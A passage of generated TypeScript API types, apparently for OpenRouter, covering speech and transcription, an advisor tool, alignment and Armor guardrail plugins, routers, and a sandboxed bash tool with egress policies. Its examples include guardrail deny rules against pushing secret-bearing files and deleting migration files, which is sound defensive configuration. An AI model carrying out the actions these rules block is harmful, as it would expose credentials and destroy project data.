unknown + } + wafer?: { + [key: string]: unknown + } + wandb?: { + [key: string]: unknown + } + 'wandb-legacy'?: { + [key: string]: unknown + } + xai?: { + [key: string]: unknown + } + xiaomi?: { + [key: string]: unknown + } + 'z-ai'?: { + [key: string]: unknown + } +} + +export type SpeechTurn = { + /** + * @description Delivery instructions for this turn, such as tone, pacing, or emotion. Overrides the top-level `instructions`. + * @example whispering + * @type string | undefined + */ + instructions?: string + /** + * @description Text to synthesize + * @example Hi Jane. + * @type string + */ + text: string + /** + * @description Voice for this turn. Defaults to the top-level `voice`. + * @minLength 1 + * @example Kore + * @type string | undefined + */ + voice?: string +} + +/** + * @description Text to synthesize, or a list of turns for multi-speaker input. Each turn has its own text, voice, and instructions. Multi-speaker input is supported by Gemini TTS models and by Fish Audio models other than S1. + * @example Hello world + */ +export type SpeechInput = string | SpeechTurn[] + +/** + * @description Reference audio input object + * @example {"data":"data:audio/wav;base64,UklGRuQXDABXQVZF..."} + * @type object + */ +export type SpeechInputReferenceAudioInput = { + /** + * @description Base64-encoded reference audio (optionally a data URI). Supported audio formats are provider-specific. Limited to 20 MiB of base64 (15 MiB of decoded audio). Exactly one of `data` or `url` is required. + * @minLength 1 + * @maxLength 20971520 + * @example data:audio/wav;base64,UklGRuQXDABXQVZF... + * @type string | undefined + */ + data?: string + /** + * @description Audio format of the reference audio (e.g., wav, mp3). Optional; most providers detect the format from the audio bytes. + * @example wav + * @type string | undefined + */ + format?: string + /** + * @description Public http(s) URL of the reference audio. OpenRouter downloads it (15 MiB max) and forwards the bytes, never the URL. Exactly one of `data` or `url` is required. + * + * Format: `uri` + * @maxLength 2048 + * @example https://example.com/reference.wav + * @type string | undefined + */ + url?: string +} + +/** + * @description Reference audio input for stateless voice cloning. Up to three parts per request; the Nth audio part is addressable from `input` as `@AudioN` on providers that support multiple references. + * @example {"input_audio":{"data":"data:audio/wav;base64,UklGRuQXDABXQVZF..."},"type":"input_audio"} + * @type object + */ +export type SpeechInputReferenceAudio = { + /** + * @description Reference audio input object + * @example {"data":"data:audio/wav;base64,UklGRuQXDABXQVZF..."} + * @type object + */ + input_audio: SpeechInputReferenceAudioInput + type: 'input_audio' +} + +/** + * @description Transcript of an `input_audio` part + * @example {"text":"I used to rule the world.","type":"text"} + * @type object + */ +export type SpeechInputReferenceText = { + /** + * @description Transcript of an `input_audio` part. With a single clip it may appear before or after the clip; with multiple clips it must immediately follow the clip it transcribes. + * @maxLength 10000 + * @example I used to rule the world. + * @type string + */ + text: string + type: 'text' +} + +/** + * @description Reference image input object + * @example {"url":"data:image/png;base64,iVBORw0KGgo..."} + * @type object + */ +export type SpeechInputReferenceImageInput = { + /** + * @description JPEG, PNG, or WebP reference image as a base64 data URI or a public http(s) URL. Remote images are downloaded (15 MiB max) and forwarded as bytes, never as the URL. + * @minLength 1 + * @maxLength 20971520 + * @example data:image/png;base64,iVBORw0KGgo... + * @type string + */ + url: string +} + +/** + * @description Reference image. On its own it describes the desired voice (voice design); alongside an `input_audio` part it is a scene image describing the setting the cloned voice speaks in. At most one per request. Only routed to endpoints that support image references. + * @example {"image_url":{"url":"data:image/png;base64,iVBORw0KGgo..."},"type":"image_url"} + * @type object + */ +export type SpeechInputReferenceImage = { + /** + * @description Reference image input object + * @example {"url":"data:image/png;base64,iVBORw0KGgo..."} + * @type object + */ + image_url: SpeechInputReferenceImageInput + type: 'image_url' +} + +/** + * @description Reference content part for stateless voice cloning or voice design + * @example {"input_audio":{"data":"data:audio/wav;base64,UklGRuQXDABXQVZF..."},"type":"input_audio"} + */ +export type SpeechInputReference = + | (SpeechInputReferenceAudio & { + type: 'input_audio' + }) + | (SpeechInputReferenceText & { + type: 'text' + }) + | (SpeechInputReferenceImage & { + type: 'image_url' + }) + +/** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object + */ +export type TraceConfig = { + generation_name?: string + parent_span_id?: string + span_name?: string + trace_id?: string + trace_name?: string + [key: string]: unknown +} + +/** + * @description A detected entity, returned when the provider runs entity detection + * @example {"end_char":25,"start_char":15,"text":"John Smith","type":"name"} + * @type object + */ +export type STTEntity = { + /** + * @description Zero-based exclusive character offset of the entity end within the response-level text (not seconds) + * @example 25 + * @type integer + */ + end_char: number + /** + * @description Zero-based character offset of the entity start within the response-level text (not seconds) + * @example 15 + * @type integer + */ + start_char: number + /** + * @description Entity text as it appears in the transcript + * @type string + */ + text: string + /** + * @description Provider entity type label + * @example name + * @type string + */ + type: string +} + +/** + * @description A timestamped transcript segment, returned when response_format is verbose_json + * @example {"avg_logprob":-0.28,"compression_ratio":1.13,"end":3.2,"id":0,"no_speech_prob":0.01,"seek":0,"speaker":0,"start":0,"temperature":0,"text":"Hello there.","tokens":[50364,2425,456]} + * @type object + */ +export type STTSegment = { + /** + * @description Average log probability of the segment + * + * Format: `double` + * @type number | undefined + */ + avg_logprob?: number + /** + * @description Zero-based audio channel index for the segment, present when the provider transcribes channels separately + * @example 0 + * @type integer | undefined + */ + channel?: number + /** + * @description Compression ratio of the segment + * + * Format: `double` + * @type number | undefined + */ + compression_ratio?: number + /** + * @description Segment end time in seconds + * + * Format: `double` + * @example 3.2 + * @type number + */ + end: number + /** + * @description Segment index within the transcript + * @example 0 + * @type integer + */ + id: number + /** + * @description Probability the segment contains no speech + * + * Format: `double` + * @type number | undefined + */ + no_speech_prob?: number + /** + * @description Seek offset of the segment + * @example 0 + * @type integer | undefined + */ + seek?: number + /** + * @description Speaker index for the segment, present when the provider returns diarization data + * @example 0 + * @type integer | undefined + */ + speaker?: number + /** + * @description Provider speaker label for the segment, present when the provider labels speakers with a string + * @example speaker_0 + * @type string | undefined + */ + speaker_label?: string + /** + * @description Segment start time in seconds + * + * Format: `double` + * @example 0 + * @type number + */ + start: number + /** + * @description Temperature used for the segment + * + * Format: `double` + * @type number | undefined + */ + temperature?: number + /** + * @description Transcribed text of the segment + * @example Hello there. + * @type string + */ + text: string + /** + * @description Token IDs of the segment + * @type array | undefined + */ + tokens?: number[] +} + +/** + * @description Aggregated usage statistics for the request + * @example {"cost":0.000508,"input_tokens":83,"output_tokens":30,"seconds":9.2,"total_tokens":113} + * @type object + */ +export type STTUsage = { + /** + * @description Total cost of the request in USD + * + * Format: `double` + * @example 0.000508 + * @type number | undefined + */ + cost?: number + /** + * @description Number of input tokens billed for this request + * @example 83 + * @type integer | undefined + */ + input_tokens?: number + /** + * @description Number of output tokens generated + * @example 30 + * @type integer | undefined + */ + output_tokens?: number + /** + * @description Duration of the input audio in seconds + * + * Format: `double` + * @example 9.2 + * @type number | undefined + */ + seconds?: number + /** + * @description Total number of tokens used (input + output) + * @example 113 + * @type integer | undefined + */ + total_tokens?: number +} + +export const STTWordTypeEnum = { + word: 'word', + audio_event: 'audio_event', +} as const + +export type STTWordTypeEnumKey = + (typeof STTWordTypeEnum)[keyof typeof STTWordTypeEnum] + +/** + * @description A timestamped word, returned when the provider includes word-level timestamps + * @example {"confidence":0.98,"end":0.4,"speaker":0,"start":0,"word":"Hello"} + * @type object + */ +export type STTWord = { + /** + * @description Zero-based audio channel index for the word, present when the provider transcribes channels separately + * @example 0 + * @type integer | undefined + */ + channel?: number + /** + * @description Provider confidence for the word from 0 to 1, present when the provider returns per-word confidence + * + * Format: `double` + * @example 0.98 + * @type number | undefined + */ + confidence?: number + /** + * @description Word end time in seconds + * + * Format: `double` + * @example 0.4 + * @type number + */ + end: number + /** + * @description Speaker index for the word, present when the provider returns diarization data + * @example 0 + * @type integer | undefined + */ + speaker?: number + /** + * @description Provider speaker label for the word, present when the provider labels speakers with a string + * @example speaker_0 + * @type string | undefined + */ + speaker_label?: string + /** + * @description Word start time in seconds + * + * Format: `double` + * @example 0 + * @type number + */ + start: number + /** + * @description Kind of entry; omitted or "word" for spoken words, "audio_event" for non-speech sounds the provider tags with timestamps + * @example word + * @type string | undefined + */ + type?: STTWordTypeEnumKey + /** + * @description The transcribed word, or the event tag such as "(laughter)" when type is audio_event + * @example Hello + * @type string + */ + word: string +} + +export const advisorReasoningEffortEnum = { + max: 'max', + xhigh: 'xhigh', + high: 'high', + medium: 'medium', + low: 'low', + minimal: 'minimal', + none: 'none', +} as const + +export type AdvisorReasoningEffortEnumKey = + (typeof advisorReasoningEffortEnum)[keyof typeof advisorReasoningEffortEnum] + +/** + * @description Reasoning configuration forwarded to the advisor call. Use this to control reasoning effort and token budget for models that support extended thinking. + * @example {"effort":"high"} + * @type object + */ +export type AdvisorReasoning = { + /** + * @description Reasoning effort level for the advisor call. + * @type string | undefined + */ + effort?: AdvisorReasoningEffortEnumKey + /** + * @description Maximum number of reasoning tokens the advisor may use. + * @type integer | undefined + */ + max_tokens?: number +} + +/** + * @description Configuration for one openrouter:advisor server tool entry. + * @example {"model":"~anthropic/claude-opus-latest","name":"reviewer"} + * @type object + */ +export type AdvisorServerToolConfig = { + /** + * @description When true, the full parent conversation is forwarded to the advisor so it sees the same context the executor does (and the tool-call `prompt`, if given, is appended as a final user turn). When false or omitted, the advisor receives only the `prompt` the executor passes in the tool call. + * @example false + * @type boolean | undefined + */ + forward_transcript?: boolean + /** + * @description System instructions for the advisor sub-agent. When omitted, the advisor responds with no system prompt of its own. + * @example You are a senior staff engineer. Give a focused, decisive plan. + * @type string | undefined + */ + instructions?: string + /** + * @description Maximum number of output tokens (including reasoning) the advisor may produce. When omitted, the provider's default applies. + * @example 2048 + * @type integer | undefined + */ + max_completion_tokens?: number + /** + * @description Slug of the advisor model to consult (any OpenRouter model). When omitted, the executor can choose it via the tool call's `model` argument; if neither is set, the model from the outer API request is used. + * @example ~anthropic/claude-opus-latest + * @type string | undefined + */ + model?: string + /** + * @description Optional name for this advisor. The model sees one tool per named advisor (and one default for an unnamed entry). Names must be unique across advisor entries. Letters, digits, spaces, underscores, and dashes; trimmed; 1–64 chars. + * @minLength 1 + * @maxLength 64 + * @pattern ^[a-zA-Z0-9 _-]+$ + * @example reviewer + * @type string | undefined + */ + name?: string + /** + * @description Reasoning configuration forwarded to the advisor call. Use this to control reasoning effort and token budget for models that support extended thinking. + * @example {"effort":"high"} + * @type object | undefined + */ + reasoning?: AdvisorReasoning + /** + * @description When true, the advisor's advice streams incrementally as it is produced. In the Responses API this emits `response.output_text.delta` events targeting the advisor output item; the final `advice` field is still set on the completed item. Has no effect on the Chat Completions API (where the advice arrives only as the final tool result). When false or omitted, the advice arrives only as the final result. + * @example false + * @type boolean | undefined + */ + stream?: boolean + /** + * @description Sampling temperature forwarded to the advisor call. When omitted, the provider's default applies. + * + * Format: `double` + * @example 0.7 + * @type number | undefined + */ + temperature?: number +} + +/** + * @description OpenRouter built-in server tool: consults a higher-intelligence advisor model (any OpenRouter model) for guidance mid-generation and returns its response. Include multiple entries to offer several named advisors; at most one entry may omit `name` to act as the default advisor. + * @example {"parameters":{"model":"~anthropic/claude-opus-latest","name":"reviewer"},"type":"openrouter:advisor"} + * @type object + */ +export type AdvisorServerToolOpenRouter = { + /** + * @description Configuration for one openrouter:advisor server tool entry. + * @example {"model":"~anthropic/claude-opus-latest","name":"reviewer"} + * @type object | undefined + */ + parameters?: AdvisorServerToolConfig + type: 'openrouter:advisor' +} + +export const alignmentRuleWatchEnum = { + content: 'content', + tool_calls: 'tool_calls', + refusal: 'refusal', + images: 'images', + audio: 'audio', +} as const + +export type AlignmentRuleWatchEnumKey = + (typeof alignmentRuleWatchEnum)[keyof typeof alignmentRuleWatchEnum] + +/** + * @example {"rule":"Never offer a discount.","watch":["content"]} + * @type object + */ +export type AlignmentRule = { + /** + * @description Text that states what the reply must do or must not do. + * @minLength 1 + * @maxLength 200 + * @type string + */ + rule: string + /** + * @description Fields of the assistant message the rule applies to. The rule is evaluated on a message that has at least one of them and is not applicable to any other message. + * @type array + */ + watch: AlignmentRuleWatchEnumKey[] +} + +export const alignmentPluginModeEnum = { + enforce: 'enforce', + audit: 'audit', +} as const + +export type AlignmentPluginModeEnumKey = + (typeof alignmentPluginModeEnum)[keyof typeof alignmentPluginModeEnum] + +/** + * @description Beta. States the listed rules to the model and evaluates every turn against them; the configuration, metadata, and error shapes may change. + * @example {"id":"alignment","mode":"audit","rules":[{"rule":"Never offer a discount.","watch":["content"]}]} + * @type object + */ +export type AlignmentPlugin = { + id: 'alignment' + /** + * @description Whether the rules are stated to the model in a system message on every provider call. Default true. + * @type boolean | undefined + */ + instruct?: boolean + /** + * @description Provider calls made again after a blocked turn, in enforce mode. Default 1. + * @type integer | undefined + */ + max_retries?: number + /** + * @description `enforce`: a turn that breaks a rule is withheld, retried, and finally returned as an error. `audit`: every turn is evaluated and returned. Default `audit`. + * @type string | undefined + */ + mode?: AlignmentPluginModeEnumKey + /** + * @description Rules the reply must follow. Each rule is evaluated on its own. + * @example [{"rule":"Never offer a discount.","watch":["content"]},{"rule":"Never call delete_file.","watch":["tool_calls"]}] + * @type array + */ + rules: AlignmentRule[] + /** + * @description Probability at or above which a rule is broken, from 0.01 to 1. Default 0.7. + * + * Format: `double` + * @type number | undefined + */ + threshold?: number +} + +export const anthropicCacheControlTtl = { + '5m': '5m', + '1h': '1h', +} as const + +export type AnthropicCacheControlTtlKey = + (typeof anthropicCacheControlTtl)[keyof typeof anthropicCacheControlTtl] + +/** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object + */ +export type AnthropicCacheControlDirective = { + /** + * @example 5m + * @type string | undefined + */ + ttl?: AnthropicCacheControlTtlKey + type: 'ephemeral' +} + +export type ArmorRule = { + /** + * @description Stable id, unique within its source; reported as the deciding rule when it fires. + * @minLength 1 + * @maxLength 64 + * @pattern ^[a-z0-9][a-z0-9_-]*$ + * @type string + */ + id: string + /** + * @description What the rule matches, written for the classifier. + * @minLength 1 + * @maxLength 8000 + * @type string + */ + instructions: string + /** + * @description Display name shown in verdict explanations; defaults to the id. + * @minLength 1 + * @maxLength 120 + * @type string | undefined + */ + name?: string + /** + * @description Probability at or above which the rule counts as matched. Defaults to 0.6 for hard-deny and soft-deny rules and 0.7 for allow rules (an exception needs stronger evidence to clear a matched soft deny). + * + * Format: `double` + * @type number | undefined + */ + threshold?: number +} + +export type ArmorEnvironmentEntry = { + /** + * @minLength 1 + * @maxLength 120 + * @type string + */ + name: string + /** + * @maxLength 4000 + * @type string + */ + value: string +} + +export type ArmorAutoMode = { + allow?: (string | ArmorRule)[] + environment?: (string | ArmorEnvironmentEntry)[] + hard_deny?: (string | ArmorRule)[] + soft_deny?: (string | ArmorRule)[] +} + +/** + * @description The Armor context: Claude Code's `classifier_context` (v1), with `auto_mode.{hard_deny,soft_deny,allow}` rules as strings or `{ id, instructions, threshold? }` objects and `auto_mode.environment` entries as `"Name: value"` strings or `{ name, value }` objects. `threshold` applies when Armor evaluates; when the provider evaluates natively (Anthropic dangerous-tool-use beta) rules are judged at the provider's own boundary. + * @example {"auto_mode":{"allow":[],"environment":["Trusted repo: github.com/acme/app"],"hard_deny":[],"soft_deny":[{"id":"secrets-in-vcs","instructions":"Staging, committing or pushing a file that holds secrets, including indirectly through git add -A when the tree shows one."}]},"v":1} + * @type object + */ +export type ArmorContext = { + auto_mode?: ArmorAutoMode + v: 1 + [key: string]: unknown +} + +export const armorPluginModeEnum = { + enforce: 'enforce', + audit: 'audit', +} as const + +export type ArmorPluginModeEnumKey = + (typeof armorPluginModeEnum)[keyof typeof armorPluginModeEnum] + +export const armorPluginOnErrorEnum = { + log: 'log', + block: 'block', +} as const + +export type ArmorPluginOnErrorEnumKey = + (typeof armorPluginOnErrorEnum)[keyof typeof armorPluginOnErrorEnum] + +export const armorPluginOutputModeEnum = { + text: 'text', + custom_item: 'custom_item', + claude_code_compatibility: 'claude_code_compatibility', +} as const + +export type ArmorPluginOutputModeEnumKey = + (typeof armorPluginOutputModeEnum)[keyof typeof armorPluginOutputModeEnum] + +/** + * @description Evaluates every client tool call the model emits against a rule stack (hard-deny, soft-deny, allow) before it reaches the caller. The stack merges the workspace guardrail, this plugin, and any Anthropic `safeguards`; on endpoints that support Anthropic's `dangerous-tool-use` beta the evaluation is native, elsewhere it is one decisions call per tool call. Evaluation is not billed during the beta. Verdicts are reported as `safeguard_results`. + * @example {"classifier_context":{"auto_mode":{"environment":["Trusted repo: github.com/acme/app"],"soft_deny":[{"id":"no-migrations-delete","instructions":"Deleting a file under db/migrations."}]},"v":1},"id":"armor","use_cc_style_default_rules":true} + * @type object + */ +export type ArmorPlugin = { + /** + * @description The Armor context: Claude Code's `classifier_context` (v1), with `auto_mode.{hard_deny,soft_deny,allow}` rules as strings or `{ id, instructions, threshold? }` objects and `auto_mode.environment` entries as `"Name: value"` strings or `{ name, value }` objects. `threshold` applies when Armor evaluates; when the provider evaluates natively (Anthropic dangerous-tool-use beta) rules are judged at the provider's own boundary. + * @example {"auto_mode":{"allow":[],"environment":["Trusted repo: github.com/acme/app"],"hard_deny":[],"soft_deny":[{"id":"secrets-in-vcs","instructions":"Staging, committing or pushing a file that holds secrets, including indirectly through git add -A when the tree shows one."}]},"v":1} + * @type object | undefined + */ + classifier_context?: ArmorContext + /** + * @description Set to false to disable Armor for this request. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Run provider-native server tools (web search, code execution, ...) through the agent loop so Armor evaluates them too. Defaults to false: native passthrough stands and such calls are reported `skipped`. + * @type boolean | undefined + */ + evaluate_native_tools?: boolean + id: 'armor' + /** + * @description `enforce` withholds blocked calls; `audit` evaluates and reports the same verdicts without withholding any calls, regardless of `on_error`. Default `enforce`. + * @type string | undefined + */ + mode?: ArmorPluginModeEnumKey + /** + * @description When the classifier cannot answer (timeout, upstream error, context too long) the call is reported `unavailable`; `block` rejects it and `log` releases it. Default `block`. + * @type string | undefined + */ + on_error?: ArmorPluginOnErrorEnumKey + /** + * @description How a blocked call reaches the caller. `text` (the default): the call is withheld and an `` marker stands in assistant text. `custom_item` (Responses API only): the call is withheld and an `openrouter:armor_blocked` output item carries its id, name, arguments and the rule that fired. `claude_code_compatibility` (Messages API only; the default when the request carries a `dangerous_tool_use` safeguard, i.e. the client speaks Claude Code's protocol): the `tool_use` stays in `content[]` and the verdict is `flagged` in `safeguard_results`, so the client withholds execution and writes the error tool result as under the native classifier. Under `text` and `custom_item` the model received a failure result in the loop and continued in the same request; under `claude_code_compatibility` the turn ends on the flagged call and the model continues on the next request, after the client's denial. + * @type string | undefined + */ + output_mode?: ArmorPluginOutputModeEnumKey + /** + * @description Prepend Claude Code's built-in auto-mode rule set (1 hard-deny, 72 soft-deny, 17 allow, 21 environment slots) ahead of every configured rule. Defaults to true on the Anthropic Messages API and false elsewhere. + * @type boolean | undefined + */ + use_cc_style_default_rules?: boolean +} + +export const autoBetaRouterPluginCostTierEnum = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type AutoBetaRouterPluginCostTierEnumKey = + (typeof autoBetaRouterPluginCostTierEnum)[keyof typeof autoBetaRouterPluginCostTierEnum] + +/** + * @example {"allowed_models":["anthropic/*","openai/*"],"cost_tier":"low","enabled":true,"excluded_models":["openai/gpt-4o"],"id":"auto-beta-router"} + * @type object + */ +export type AutoBetaRouterPlugin = { + /** + * @description List of model patterns to filter which models the auto-beta-router can route between. Supports wildcards (e.g., "anthropic/*" matches all Anthropic models). Up to 1024 patterns, each at most 1024 characters, with 65536 total characters across all patterns. When not specified, every model ranked for the classified task type is a candidate, falling back to a default model set when rankings are unavailable. + * @example ["anthropic/*","openai/gpt-4o","google/*"] + * @type array | undefined + */ + allowed_models?: string[] + /** + * @description Deprecated: Use cost_tier instead. Balances routing between cost and quality on a 0-10 scale. The auto-beta-router ranks models for the classified task type by community spend share, then filters candidates by their average cost per generation for that task. Higher values favor cheaper models: 10 keeps only models around the cheapest 10th percentile, while 0 permits models up to the 90th percentile for cost. Defaults to 9 when no cost setting is provided. It remains supported and retains ceiling behavior, but cost_tier takes precedence when both are provided. + * @deprecated + * @minimum 0 + * @maximum 10 + * @example 9 + * @type integer | undefined + */ + cost_quality_tradeoff?: number + /** + * @description Named cost/quality setting. For auto-beta-router, tiers select cost-percentile bands: low = [0, 20), medium = [20, 40), high = [40, 60), xhigh = [60, 80), and max = [80, 100]. Takes precedence over the deprecated numeric cost_quality_tradeoff when both are provided. + * @example low + * @type string | undefined + */ + cost_tier?: AutoBetaRouterPluginCostTierEnumKey + /** + * @description Set to false to disable the auto-beta-router plugin for this request. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description List of model patterns to exclude from auto-beta-router selection. Supports wildcards (e.g., "meta-llama/*" excludes all Llama models). Up to 1024 patterns, each at most 1024 characters, with 65536 total characters across all patterns. Applied after allowed_models, so an excluded pattern always wins over an allowed one. + * @example ["openai/gpt-4o","meta-llama/*"] + * @type array | undefined + */ + excluded_models?: string[] + id: 'auto-beta-router' +} + +export const autoRouterPluginCostTierEnum = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type AutoRouterPluginCostTierEnumKey = + (typeof autoRouterPluginCostTierEnum)[keyof typeof autoRouterPluginCostTierEnum] + +/** + * @example {"allowed_models":["anthropic/*","openai/*"],"cost_tier":"low","enabled":true,"excluded_models":["openai/gpt-4o"],"id":"auto-router","pin_model":false} + * @type object + */ +export type AutoRouterPlugin = { + /** + * @description List of model patterns to filter which models the auto-router can route between. Supports wildcards (e.g., "anthropic/*" matches all Anthropic models). Up to 1024 patterns, each at most 1024 characters, with 65536 total characters across all patterns. When not specified, every model ranked for the classified task type is a candidate, falling back to a default model set when rankings are unavailable. + * @example ["anthropic/*","openai/gpt-4o","google/*"] + * @type array | undefined + */ + allowed_models?: string[] + /** + * @description Deprecated: Use cost_tier instead. Balances routing between cost and quality on a 0-10 scale. The auto-router ranks models for the classified task type by community spend share, then filters candidates by their average cost per generation for that task. Higher values favor cheaper models: 10 keeps only models around the cheapest 10th percentile, while 0 permits models up to the 90th percentile for cost. Defaults to 9 when no cost setting is provided. It remains supported and retains ceiling behavior, but cost_tier takes precedence when both are provided. + * @deprecated + * @minimum 0 + * @maximum 10 + * @example 9 + * @type integer | undefined + */ + cost_quality_tradeoff?: number + /** + * @description Named cost/quality setting. Tiers select cost-percentile bands: low = [0, 20), medium = [20, 40), high = [40, 60), xhigh = [60, 80), and max = [80, 100]. Takes precedence over the deprecated numeric cost_quality_tradeoff when both are provided. + * @example low + * @type string | undefined + */ + cost_tier?: AutoRouterPluginCostTierEnumKey + /** + * @description Set to false to disable the auto-router plugin for this request. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description List of model patterns to exclude from auto-router selection. Supports wildcards (e.g., "meta-llama/*" excludes all Llama models). Up to 1024 patterns, each at most 1024 characters, with 65536 total characters across all patterns. Applied after allowed_models, so an excluded pattern always wins over an allowed one. + * @example ["openai/gpt-4o","meta-llama/*"] + * @type array | undefined + */ + excluded_models?: string[] + id: 'auto-router' + /** + * @description When true, reuses the model from the most recent assistant message's `model` attribute for subsequent turns. Defaults to false. + * @example false + * @type boolean | undefined + */ + pin_model?: boolean +} + +export const bashServerToolEngine = { + auto: 'auto', + native: 'native', + openrouter: 'openrouter', +} as const + +export type BashServerToolEngineKey = + (typeof bashServerToolEngine)[keyof typeof bashServerToolEngine] + +/** + * @description Workspace file ids (or_file_…) to attach into the container before the first command runs. Each file is copied to the container home as a writable copy named {last 8 characters of the file id}-{base filename} (a file stored as data/report.csv with id or_file_…NR6q4V8w attaches to ~/NR6q4V8w-report.csv), so same-named files never collide; the source document is never modified. Unknown, foreign, or malformed ids fail the request with a 400 before any command executes. Max 20 ids. + * @example ["or_file_011CNha8iCJcU1wXNR6q4V8w"] + * @type array + */ +export type ContainerFileIds = string[] + +/** + * @description Network egress policy for the container. "disabled" blocks all outbound internet; "allowlist" permits only hosts matching the listed hostnames or * glob patterns (ports 80/443, DNS via Cloudflare resolvers). The policy is fixed when a container starts: sending a different policy to a warm container fails the request with a 409. Omitted: defaults to "disabled" (no outbound internet). For unrestricted egress, use an allowlist of ["*"]. + * @example {"allowed_domains":["pypi.org","files.pythonhosted.org"],"type":"allowlist"} + */ +export type ContainerNetworkPolicy = + | { + /** + * @description No outbound internet access. + * @type string + */ + type: 'disabled' + } + | { + /** + * @description Hostnames the container may reach over ports 80/443 (max 50). Entries are lowercase hostnames or glob patterns where * matches any run of characters (e.g. *.example.com). An exact hostname does not cover its subdomains — use a glob or list each hostname. pip needs both pypi.org and files.pythonhosted.org (or *.pythonhosted.org). + * @example ["pypi.org","files.pythonhosted.org"] + * @type array + */ + allowed_domains: string[] + /** + * @description Outbound access restricted to the listed domains. + * @type string + */ + type: 'allowlist' + } + +/** + * @description An OpenRouter-managed, auto-provisioned ephemeral container. + * @example {"type":"container_auto"} + * @type object + */ +export type ContainerAutoEnvironment = { + /** + * @description Workspace file ids (or_file_…) to attach into the container before the first command runs. Each file is copied to the container home as a writable copy named {last 8 characters of the file id}-{base filename} (a file stored as data/report.csv with id or_file_…NR6q4V8w attaches to ~/NR6q4V8w-report.csv), so same-named files never collide; the source document is never modified. Unknown, foreign, or malformed ids fail the request with a 400 before any command executes. Max 20 ids. + * @example ["or_file_011CNha8iCJcU1wXNR6q4V8w"] + * @type array | undefined + */ + file_ids?: ContainerFileIds + /** + * @description Network egress policy for the container. "disabled" blocks all outbound internet; "allowlist" permits only hosts matching the listed hostnames or * glob patterns (ports 80/443, DNS via Cloudflare resolvers). The policy is fixed when a container starts: sending a different policy to a warm container fails the request with a 409. Omitted: defaults to "disabled" (no outbound internet). For unrestricted egress, use an allowlist of ["*"]. + * @example {"allowed_domains":["pypi.org","files.pythonhosted.org"],"type":"allowlist"} + */ + network_policy?: ContainerNetworkPolicy + type: 'container_auto' +} + +/** + * @description Reference to a container by its canonical id — a previously returned container_id or a fresh name to create a persistent container. + * @example {"container_id":"sess_abc123","type":"container_reference"} + * @type object + */ +export type ContainerReferenceEnvironment = { + /** + * @description Canonical container id to reuse (max 40 characters, letters/digits/underscores/hyphens). Any container_id previously returned by a bash or shell tool result works here and reattaches to the same container and files — including session-derived ids (sess_...) and generation-derived ids (gen_...). Note that a session-derived id is always sess_ + the sanitized session key, which is not necessarily the raw session id you sent. Using the same container_id from both the bash and shell tools shares the same files, with last-write-wins when both flush concurrently. A fresh name creates a new persistent container. Containers are always scoped to your account and workspace. + * @minLength 1 + * @maxLength 40 + * @pattern ^[\w-]+$ + * @example sess_abc123 + * @type string + */ + container_id: string + /** + * @description Workspace file ids (or_file_…) to attach into the container before the first command runs. Each file is copied to the container home as a writable copy named {last 8 characters of the file id}-{base filename} (a file stored as data/report.csv with id or_file_…NR6q4V8w attaches to ~/NR6q4V8w-report.csv), so same-named files never collide; the source document is never modified. Unknown, foreign, or malformed ids fail the request with a 400 before any command executes. Max 20 ids. + * @example ["or_file_011CNha8iCJcU1wXNR6q4V8w"] + * @type array | undefined + */ + file_ids?: ContainerFileIds + /** + * @description Network egress policy for the container. "disabled" blocks all outbound internet; "allowlist" permits only hosts matching the listed hostnames or * glob patterns (ports 80/443, DNS via Cloudflare resolvers). The policy is fixed when a container starts: sending a different policy to a warm container fails the request with a 409. Omitted: defaults to "disabled" (no outbound internet). For unrestricted egress, use an allowlist of ["*"]. + * @example {"allowed_domains":["pypi.org","files.pythonhosted.org"],"type":"allowlist"} + */ + network_policy?: ContainerNetworkPolicy + type: 'container_reference' +} + +/** + * @description Execution environment for the bash server tool. + * @example {"type":"container_auto"} + */ +export type BashServerToolEnvironment = + | (ContainerAutoEnvironment & { + type: 'container_auto' + }) + | (ContainerReferenceEnvironment & { + type: 'container_reference' + }) + +/** + * @description Configuration for the openrouter:bash server tool + * @example {"environment":{"type":"container_auto"}} + * @type object + */ +export type BashServerToolConfig = { + /** + * @description Which bash engine to use. "openrouter" runs commands server-side in the OpenRouter sandbox. "auto" (default) and "native" use native passthrough, returning the tool call to your application to run client-side; OpenRouter does not execute the commands. + * @example auto + * @type string | undefined + */ + engine?: BashServerToolEngineKey + /** + * @description Execution environment for the bash server tool. + * @example {"type":"container_auto"} + */ + environment?: BashServerToolEnvironment +} + +/** + * @description OpenRouter built-in server tool: runs shell commands server-side in a sandboxed container + * @example {"parameters":{"environment":{"type":"container_auto"}},"type":"openrouter:bash"} + * @type object + */ +export type BashServerTool = { + /** + * @description Configuration for the openrouter:bash server tool + * @example {"environment":{"type":"container_auto"}} + * @type object | undefined + */ + parameters?: BashServerToolConfig + type: 'openrouter:bash' +} + +/** + * @description Generated images from image generation models + * @example [{"image_url":{"url":"data:image/png;base64,iVBORw0KGgo..."}}] + * @type array + */ +export type ChatAssistantImages = { + image_url: { + /** + * @description URL or base64-encoded data of the generated image + * @type string + */ + url: string + } +}[] + +/** + * @description Audio output data or reference + * @example {"data":"UklGRnoGAABXQVZFZm10IBAAAAABAAEAQB8AAEAfAAABAAgAZGF0YQoGAACBhYqFbF1f","expires_at":1677652400,"id":"audio_abc123","transcript":"Hello! How can I help you today?"} + * @type object + */ +export type ChatAudioOutput = { + /** + * @description Base64 encoded audio data + * @type string | undefined + */ + data?: string + /** + * @description Audio expiration timestamp + * @type integer | undefined + */ + expires_at?: number + /** + * @description Audio output identifier + * @type string | undefined + */ + id?: string + /** + * @description Audio transcript + * @type string | undefined + */ + transcript?: string +} + +/** + * @description Anthropic-style cache breakpoint for the content part. Interchangeable with the OpenAI-style `prompt_cache_breakpoint` marker: OpenRouter converts between the two based on the provider serving the 